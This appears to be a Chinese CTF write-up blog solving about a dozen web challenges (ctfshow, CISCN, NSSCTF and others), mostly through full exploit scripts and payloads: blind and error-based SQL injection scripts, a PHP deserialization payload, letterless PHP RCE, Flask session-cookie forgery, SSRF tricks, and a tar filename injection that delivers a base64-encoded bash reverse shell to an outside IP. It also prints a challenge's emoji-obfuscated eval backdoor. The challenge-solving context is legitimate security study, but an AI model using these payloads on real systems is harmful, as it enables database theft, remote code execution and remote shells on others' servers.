每日一题

每天一题罢了。。

ctfshow内部赛签到

扫到备份文件

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
if($row){
$_SESSION['u']=$row['username'];
header('location:user.php');
}
else {
echo "<script>alert('Wrong username or password')</script>";
}
}
}
?>

register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}

include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1 set email = '$e',username = '$u',password = '$p'";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}
?>

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<body background="bg2.jpg">
</body>
</html>
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];

if (is_numeric($username))
{
if(strlen($username)>10) {
$username=substr($username,0,10);
}
echo "Hello $username,there's nothing here but dog food!";
}
else{
echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{
echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>

通过注册界面的union select

1
2
$sql ="select username from test1 where email='$e' and password='$p'";
$sql ="insert into test1 set email = '$e', username = '$u',password = '$p'"

构造sql语句

1
insert into test1 set email='1',username=hex(hex(substr((select/**/flag/**/from/**/flag),1,1))),password='0'

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re

url1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php"
url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php"
flag = ''
for i in range(1, 50):
payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"
print(payload)
s = requests.session()
data1 = {
'e': str(i + 30) + "',username=" + payload,
'u': "*/#",
'p': i + 30
}
# print(data1['e'])
r1 = s.post(url1, data=data1)
data2 = {
'e': i + 30,
'p': i + 30
}
r2 = s.post(url2, data=data2)
t = r2.text
real = re.findall("Hello (.*?),", t)[0]
flag += real
print(flag)

image-20240715172712301

image-20240715172731195

1
ctfshow{88827b24-2cd9-4be6-b15d-7eb1055f9c1c}

web15 Fishman

扫到备份文件

image-20240715192511338

member.php中发现漏洞点

image-20240715192603206

当查询返回的用户名为空且密码错误时,进行四次setcookie操作,当查询返回的用户名为不为空时,进行两次setcookie操作利用这个差异,就已经可以实现布尔盲注了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# encoding=utf-8
import requests

url = "https://6209bf27-efaa-4086-b619-a9552f4450f6.challenge.ctf.show/admin/"


def tamper(payload):
payload = payload.lower()
payload = payload.replace('u', '\\u0075')
payload = payload.replace('\'', '\\u0027')
payload = payload.replace('o', '\\u006f')
payload = payload.replace('i', '\\u0069')
payload = payload.replace('"', '\\u0022')
payload = payload.replace(' ', '\\u0020')
payload = payload.replace('s', '\\u0073')
payload = payload.replace('#', '\\u0023')
payload = payload.replace('>', '\\u003e')
payload = payload.replace('<', '\\u003c')
payload = payload.replace('-', '\\u002d')
payload = payload.replace('=', '\\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return payload


# get database length
def databaseName_len():
print("start get database name length...")
for l in range(0, 45):
payload = "1' or (length(database())=" + str(l + 1) + ")#"
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 1)):
print('get db length = ' + str(l).lower())
break


# get content
def get_databaseName():
flag = ''
for j in range(0, 15):
for c in range(0x20, 0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" + chr(126) + "')#"
# print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('databasename = ' + flag.lower())
break


# get content
def get_tableName():
flag = ''
for j in range(0, 30): # blind inject
for c in range(0x20, 0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(
c) + "' and '" + chr(126) + "')#"
# print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('tablename = ' + flag.lower())
break


# get content
def get_ColumnName():
flag = ''
for j in range(0, 10): # blind inject
for c in range(0x20, 0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(
c) + "' and '" + chr(126) + "')#"
# print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('column name = ' + flag.lower())
break


# get content
def get_value():
flag = ''
for j in range(0, 50): # blind inject
for c in range(0x20, 0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" + chr(
126) + "')#"
# print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('flag = ' + flag.lower())
break


print("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()

image-20240715204411268

[CISCN 2023 华北]ez_date

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

在反序列化的时候会自动触发这个类中的wakeup方法,看见关键代码

1
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

测试代码

1
2
3
4
5
6
7
8
<?php
if (sha1(12) === sha1('12') && md5(1) === md5('1')){
echo '===';
}
else{
echo '!=';
}
?>

image-20240717091858101

正则

1
2
3
4
5
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
(\n)+: 匹配一个或多个换行符
/i : 匹配时不区分大小写
把上面匹配到的内容全部置换为空

还有两个点

  • date函数可以转义

  • file_put_contents() 是 PHP 中的一个内置函数,用于写入数据到一个文件,或者创建一个新的文件。可以一次写入全部内容,而不需要打开、写入和关闭文件的多个步骤。

    1
    file_put_contents($uuid,$content);
    • $uuid 参数会被用作文件名。例如,如果 $uuid 的值是 'abc123',那么数据就会被写入到名为 'abc123' 的文件中。
    • $content 参数是你想要写入文件的数据。它可以是任何可以被转换为字符串的内容。

因此得到最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

$yiyi = new date();
$yiyi -> a = 1;
$yiyi -> b = '1';
$yiyi -> file = '/f\l\a\g';

echo base64_encode(serialize($yiyi));

image-20240717092802571

[CISCN 2023 华北]pysym

随便传一个看看

image-20240717093053044

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)

上传tar

image-20240717094033026

根据源码,只有限制长度,上传后调用系统命令对其进行,由于没有文件名的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

我们可以根据这个特性进行RCE

image-20240717095108731

没有回显,考虑反弹shell

image-20240717105730290

image-20240717110137582

1
bash >& /dev/tcp/101.37.27.18/4444 0>&1
1
test.tar || echo  YmFzaCA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx| base64 -d | bash ||

image-20240717110054704

[CISCN 2019华东南]Web4

文件读取

image-20240717110852604

尝试读取/etc/passwd

image-20240717110935262

尝试读取flag文件

image-20240717111006796

常见linux配置文件

1
2
3
4
5
6
7
8
9
10
11
/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

查看当前进程对应的终端命令

image-20240717111305488

直接读

image-20240717111345242

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'

@app.route('/read')
def read():
try:
url = request.args.get('url')
if re.search('^file.*|flag', url, re.IGNORECASE):
return 'No Hack'
with urllib.request.urlopen(url) as res:
return res.read().decode('utf-8')
except Exception as ex:
print(str(ex))
return 'no response'

@app.route('/flag')
def flag():
if session.get('username') == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0")

经典session伪造

image-20240717111948701

1
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zpc0_w.WMwIMXtSU15Mlrk3Lwa0K8ZD810

分为三个部分

第一部分是两段base64,使用脚本将www替换成fuck即可,中间是时间戳,最后面是安全签名

image-20240717112310264

1
{"username":{" b":"d3d3LWRhdGE="}}
1
{"username":{" b":"www-data"}}

读mac地址

image-20240717113214241

1
2
3
import random
random.seed(0x0242ac02521c)
print(str(random.random()*233))

python2运行

1
2
3
┌──(root㉿kali)-[~/yiyi]
└─# python2 test.py
38.8837558332

这里有坑,python2和3跑出来是不一样的,容器中用的是2,所以在这里我们也只能用2

image-20240717123413345

拉到flask_session_cookie_manager3.py跑

1
2
C:\Users\31702\Desktop\yiyi\CTF\web\FLASK框架>python flask_session_cookie_manager3.py encode -s 38.8837558332 -t "{'username':'fuck'}"
eyJ1c2VybmFtZSI6ImZ1Y2sifQ.ZpdGqA.dt2f0F84oMxkjl0sQQK3_d8E3Xg

替换后获得flag

image-20240717122643018

使用说明

  • 使用 flask_session_cookie_manager3.py 与 Python 3,flask_session_cookie_manager2.py 与 Python 2。

使用方法:

1
flask_session_cookie_manager{2,3}.py [-h] {encode,decode} ...

Flask Session Cookie 解码/编码工具

位置参数:

  • {encode,decode}: 子命令帮助
    • encode: 编码
    • decode: 解码

可选参数:

  • -h--help: 显示帮助信息并退出

编码

1
flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -t <string>--cookie-structure <string>: Session Cookie 结构

解码

1
flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -c <string>--cookie-value <string>: Session Cookie 值

示例

编码

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

注意: Session Cookie 结构必须是一个有效的 Python 字典

解码

使用密钥:

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
{u'username': 'admin', u'number': '326410031505'}

不使用密钥 (输出格式较差):

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
{"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}

[FSCTF 2023]签到plus

dirsearch扫到shell.php,访问发现是php info

image-20240717135734930

PHP<=7.4.21 Development Server源码泄露漏洞_php7.4.21漏洞-CSDN博客

关闭bp的Content-Length功能

image-20240717140053098

请求包只留这几句即可

image-20240717140347431

保存至txt查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28393
Date: Wed, 17 Jul 2024 06:03:28 GMT
Connection: close
Content-Length: 443

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
eval($😭($_GET['👽🦐']));
};

?>

直接命令执行即可

image-20240717140821697

image-20240717140853901

[HNCTF 2022 Week1]Challenge__rce

get传参hint得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}

一道无参RCE,发现|和^被过滤,不能用异或

查看所有未被过滤的字符

1
2
3
4
5
6
7
8
9
import re

regex = r"[/!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]"

printable_chars = range(32, 127)

for char in printable_chars:
if not re.search(regex, chr(char)):
print(chr(char), end=" ")

image-20240717141939712

考虑使用自增

首先,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

1
2
$_=[].'';
print_r($_); //Array

基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
@$_ = [].'';//Array
$_ = $_[0];//A
$___= '_';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//O
$___ = $_;//O
$_++;//P
$__=$_;//P
$__.=$___;//PO
$_++;$_++;$_++;
$__.=$_;//POS
$_++;
$__.=$_;//POST
echo $__;

$$__['_']($$__['__']);
//${$__}最终解析为$_POST
//['_']和['__']是传入的值

rce = $_=%5B%5D.'';$_%20=%20$_%5B0%5D;$___=%20'_';$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___%20=%20$_;$_++;$__=$_;$__.=$___;$_++;$_++;$_++;$__.=$_;$_++;$__.=$_;echo%20$__;$$__%5B'_'%5D($$__%5B'__'%5D);&_=system&__=ls
//过一遍url编码,并传入system和ls两个参数
?>

image-20240717150716468

得尝试缩减,使用CHr

image-20240717151653606

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$_=[]._;//Array
$__=$_[1];//r
$_=$_[0];//A
$_++;//B
$_1=++$_;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_1.++$_.$__; //CHr
// echo $_(71);
$_=_.$_(71).$_(69).$_(84); //利用CHr拼接 让$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])

url编码

image-20240717152317171

然后就。。。

image-20240717152446580

image-20240717152503567

[CISCN 2023 西南]do_you_like_read

解法一:

image-20240718092743965

发现存在后面并且有与之对应的动态链接库文件

image-20240718092819389

对着后门文件改路径即可

image-20240718093332120/var/www目录无回显可以考虑app目录

1
http://node4.anna.nssctf.cn:28157/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so

image-20240718093403071

解法二:

将php等后缀改成jpg结尾

image-20240718093739882

image-20240718093830548

根据源码中的路径直接尝试访问webshell

image-20240718093950170

image-20240718094058734

image-20240718094128030

解法三:

发现可能存在sql注入的漏洞点

image-20240718094554591

直接跑sqlmap

image-20240718094549834

–os-shell直接看环境变量即可

image-20240718094644388

[强网杯 2019]随便注

联合查询的时候发现存在过滤

image-20240718102729369

  • 绕过姿势1:十六进制编码绕过
1
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
  • 绕过姿势2:使用handler函数替换
1
2
3
4
5
6
7
8
-- 打开一个表的handler
HANDLER table_name OPEN;

-- 读取下一个索引条目
HANDLER table_name READ NEXT;

-- 关闭handler
HANDLER table_name CLOSE;

payload

1
1';handler `1919810931114514` open;handler `1919810931114514` read next;

[鹤城杯 2021]EasyP

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

包含utils.php文件,尝试请求

但是有waf

1
2
3
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

使用%0a绕过,%a0 是 URL 编码中的一个特殊字符,代表一个非打印字符(No-Break Space)。在 PHP 中,非打印字符通常会被忽略。所以,/utils.php/%a0 实际上被 PHP 解析为 /utils.php/。

%a0的作用解析参考别的师傅

image-20240718111306192

因此构造出payload

1
/index.php/utils.php/%a0

还有一层waf

1
2
3
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

这个比较简单

show[source或者show.source或者show+source绕过

最终payload

1
/index.php/utils.php/%a0?show[source

image-20240718111508372

web3_莫负婵娟

皎洁一年惟此夜,莫教容易负婵娟

hint:环境变量 +linux字符串截取 + 通配符

fuzz一下

image-20240720135211671

f12看到提示

1
2
3
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

like有两个通配符%_,这里没有过滤_

1
2
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符

尝试使用通配符判断位数

image-20240720140025488

根据这个逻辑就可以逐个爆破密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'https://cf189981-52d3-496b-9660-865ce7b82d8e.challenge.ctf.show/login.php'

pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in a:
password = pwd + j + (31 - i) * '_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data,verify=False)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break

image-20240720143555477

进去后就是个命令执行

image-20240720143618297

小写字母全部被过滤,想到可以用环境便利PATH进行命令构造,用自己的vps测试一下

image-20240720144324173

ls

1
0;${PATH:5:1}${PATH:11:1}

image-20240720144530125

没有c t,可以用nl来读取

1
0;${PATH:14:1}${PATH:5:1} ????.???

image-20240720144642055

web2_故人心

三五夜中新月色,二千里外故人心

存在一个robots.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

访问hint、

1
2
3
4
5
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))

看样子是个爆破

第一关

1
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){

php小数点后超过161位做平方运算时会被截断,我们可以用科学计数法来代替,即 1e-162

第二关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
for ($i=100;$i<=999;$i++){
$b = "0e".$i."024452";
if($b==hash("md2", $b)){
echo $b;
}
}
//b=0e652024452
echo "\n";
for ($i=1000;$i<=9999;$i++){
$c = "0e".$i."48399";
if($c==hash("md2",hash("md2", $c))){
echo $c;
}
}
//c=0e603448399

image-20240720145353847

第三关 post传参url

file_get_contents使用不存在的协议名导致目录穿越,实现SSRFphp源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。题目中要求url中存在 ctfshow.com,又要构造符合url格式

我们这边随便来一个yiyi协议,又因为

1
2
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));

所以可以构造如下payload

1
url=yiyi://ctfshow.com/../../../../../../fl0g.txt

image-20240720145905683

[NISACTF 2022]join-us

fuzz

image-20240721125727165

尝试报错注入,and被过滤

1
1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

用||代替and

1
1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#

回显

1
XPATH syntax error: '~root@localhost~'

就可以编写脚本了,几个点,and过滤用||代替,columns禁用,使用join做合并,mid截取长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests

url = 'http://node5.anna.nssctf.cn:21164/dl.php'
def test(url):
data = {
'tt':"1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#"
}
re = requests.post(url,data=data)
print(re.text)
def database(url):
data = {
'tt':"1' || (select * from a)#"
}
re = requests.post(url,data=data)
print(re.text)
def table(url):
data = {
'tt':"-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#"
}
re = requests.post(url,data=data)
print(re.text)
def column1(url):
data = {
'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join Fal_flag b)c)))#"#id
}
re = requests.post(url,data=data)
print(re.text)
def column2(url):
data = {
'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join output b)c)))#"#data
}
re = requests.post(url,data=data)
print(re.text)
def flag1(url):
data = {
'tt':"-1' || extractvalue(1,mid(concat(0x5c,(select data from output)),30,20))#"#data
}
re = requests.post(url,data=data)
print(re.text)


if __name__ == "__main__":
# test(url)
# database(url)
# table(url)
# column1(url)
# column2(url)
flag1(url)
# NSSCTF{68f27707-1003-413e-bd2a-4f5193963b20}

[MoeCTF 2022]ezphp

变量覆盖

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

直接打

1
